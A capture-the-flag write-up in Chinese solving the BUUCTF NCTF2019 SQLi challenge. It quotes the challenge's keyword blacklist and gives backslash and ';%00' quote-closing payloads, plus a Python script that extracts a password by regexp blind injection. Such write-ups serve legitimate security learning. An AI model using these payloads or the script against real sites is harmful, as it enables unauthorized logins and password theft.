BUUCTF:[NCTF2019]SQLi --sql正则注入 ---- regexp注入 --- sql 闭合的新的骚操作 --PHP版本的%00截断

这个讲正则注入原理比较细致,有mysql的本地实验

这个有一道例题

一、自己做,

在这里插入图片描述

fuzzing了,但是没有思路,

给我这么一句话:try to make the sqlquery have its own results.
后来发现没用,

二、学到的:

  1. mysql正则注入 regex
  2. 一个新的sql闭合方式,妈呀,骚的很,至少对于我这个菜鸡才说是开了眼界了,,,牛你牛后面看看
  3. sql注入时,当注释符和单引号都被过滤了的时候,我们不能够闭合语句了,那么可以看看PHP的版本,如果PHP的版本比较低,那么,可能cunzai%00截断,然后就可以用;%00的方法来进行闭合sql语句,实现sql注入
  4. 学了 parse.unquote 。 urlencode的这些编码的东西,下面有讲解和连接
  5. sql注入的那个一串字符串,下面也有,就那个 for i in [***]什么的

三、学习WP:

robots.txt有提示:
给了过滤的关键字

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

密码对了就给flag。
然后有两个思路,
一是直接爆破密码,然后进去
二是盲注,

select * from users where username='\' and passwd='||1;%00'

这样做注释,从而达到为真的目的,同时后面的那个1,可以作为bool盲注的那个bool判断点

然后说 regexp函数没有被过滤,所以就可以用mysql正则注入绕过。

单引号和常用注释符被过滤了,可以用;%00来代替。

1.盲注,

条件为真,就会跳转到welcome.php页面。
条件为假,就回到登录页,所以可以用盲注
至于他们怎么样看出来的,我也不清楚啊。。

转义符 \没有被过滤,可以利用\转义分号从而构成这种闭合语句
select * from uers where username= ' ' and passwd=';%00'

异或没有被过滤,直接异或
passwd=||/**/1;%00&username=\
然后就变成了

select * from users where username='\' and passwd='||1/**/;%00'

因为;%00也是注释,然后or判断就成功了,

在这里插入图片描述
成功后会有welcome.php出现,就代表成功了,然后我们就可以爆破了,

先用burp试试看,然后再些python脚本

所以python中的text中如果有welcomte.php就代表成功了

注意: 再burp的时候,这个regex后面的内容,要带上引号引起来,才行,就像mysql中的操作语句一样,一样有引号引起来,
这里是要对的上号的。

就像这个一样:别人的regexp本地实验。

||/**/passwd/**/regexp/**/"^y";

然后爆破
在这里插入图片描述
y的那个更靠谱,但是我们也不能这样手动一个一个的爆破啊,
写一个python脚本来跑

import requests
from urllib import parse
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'
flag=''
url="""http://7103ed02-f685-4725-a737-f6be19e1d1ea.node3.buuoj.cn/index.php"""

for i in range(100):
    for j in s:
        data = {
    
    "username": "\\",
                "passwd":"||passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00'))
                }
        # 注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
        res = requests.post(url=url,data=data)
        if "welcome.php" in res.text:
            flag=flag+j
            print(flag)
            break
print(flag)

我的对这个 %00好好说道说道,因为如果做题的时候,我一定想不到要这样处理%00.
可以看看这个,自己看了好多博客,总结了一下关于这个%00的

好了然后跑出flag了就,密码呀,不是flag。。。
在这里插入图片描述
用户名随意,不用非是admin

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114834971